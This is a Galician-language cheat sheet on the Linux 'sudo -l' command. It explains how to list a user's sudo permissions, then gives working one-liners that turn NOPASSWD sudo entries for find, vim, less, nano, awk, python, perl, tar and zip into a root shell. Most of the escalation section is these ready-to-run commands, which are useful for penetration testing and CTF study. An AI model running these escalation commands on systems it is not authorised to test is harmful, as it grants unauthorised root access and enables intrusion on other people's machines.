Ir ao contido

sudo -l - Verificación de Privilexios Sudo

Recursos útiles

# GTFOBins - Base de datos de binarios explotables
# https://gtfobins.github.io/

# Verificar se un binario é explotable
# Buscar en GTFOBins o binario que aparece en sudo -l

Descrición

Comando para listar os permisos sudo dun usuario sen necesidade de contrasinal de root. Fundamental para detectar vectores de escalada de privilexios.

Sintaxe básica

sudo -l
sudo -u <usuario> -l

Opcións principais

Opción Descrición
-l Listar comandos permitidos para o usuario actual
-u <usuario> Verificar permisos doutro usuario
-U <usuario> Listar permisos dun usuario específico (require privilexios)

Exemplos de uso

# Verificar permisos sudo do usuario actual
sudo -l

# Exemplo de saída típica:
# User john may run the following commands on target:
#     (ALL : ALL) ALL
#     (root) NOPASSWD: /usr/bin/find
#     (root) NOPASSWD: /usr/bin/vim

# Analizar vectores de escalada
sudo -l | grep NOPASSWD

Escalada de privilexios común

Con find

# Se sudo -l mostra: (root) NOPASSWD: /usr/bin/find
sudo find /etc/passwd -exec /bin/bash \;
sudo find . -exec /bin/sh \; -quit

Con vim/vi

# Se sudo -l mostra: (root) NOPASSWD: /usr/bin/vim
sudo vim -c ':!/bin/bash'
# ou dentro de vim:
:set shell=/bin/bash
:shell
:sh

Con less/more

# Se sudo -l mostra: (root) NOPASSWD: /usr/bin/less
sudo less /etc/passwd
# Dentro de less, escribir:
!/bin/bash

Con nano

# Se sudo -l mostra: (root) NOPASSWD: /usr/bin/nano
sudo nano
# Ctrl+R Ctrl+X
reset; bash 1>&0 2>&0

Con awk

# Se sudo -l mostra: (root) NOPASSWD: /usr/bin/awk
sudo awk 'BEGIN {system("/bin/bash")}'

Con python

# Se sudo -l mostra: (root) NOPASSWD: /usr/bin/python
sudo python -c 'import os; os.system("/bin/bash")'

Con perl

# Se sudo -l mostra: (root) NOPASSWD: /usr/bin/perl
sudo perl -e 'exec "/bin/bash";'

Con tar

# Se sudo -l mostra: (root) NOPASSWD: /usr/bin/tar
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash

Con zip

# Se sudo -l mostra: (root) NOPASSWD: /usr/bin/zip
TF=$(mktemp -u)
sudo zip $TF /etc/hosts -T -TT 'sh #'

Notas adicionais

  • NOPASSWD indica que non se require contrasinal para executar ese comando
  • Sempre verificar GTFOBins para métodos de escalada
  • Moitos binarios permiten execución de comandos ou shells
  • A configuración de sudo gárdase en /etc/sudoers
  • Os erros de configuración en sudoers son moi comúns en CTFs e entornos reais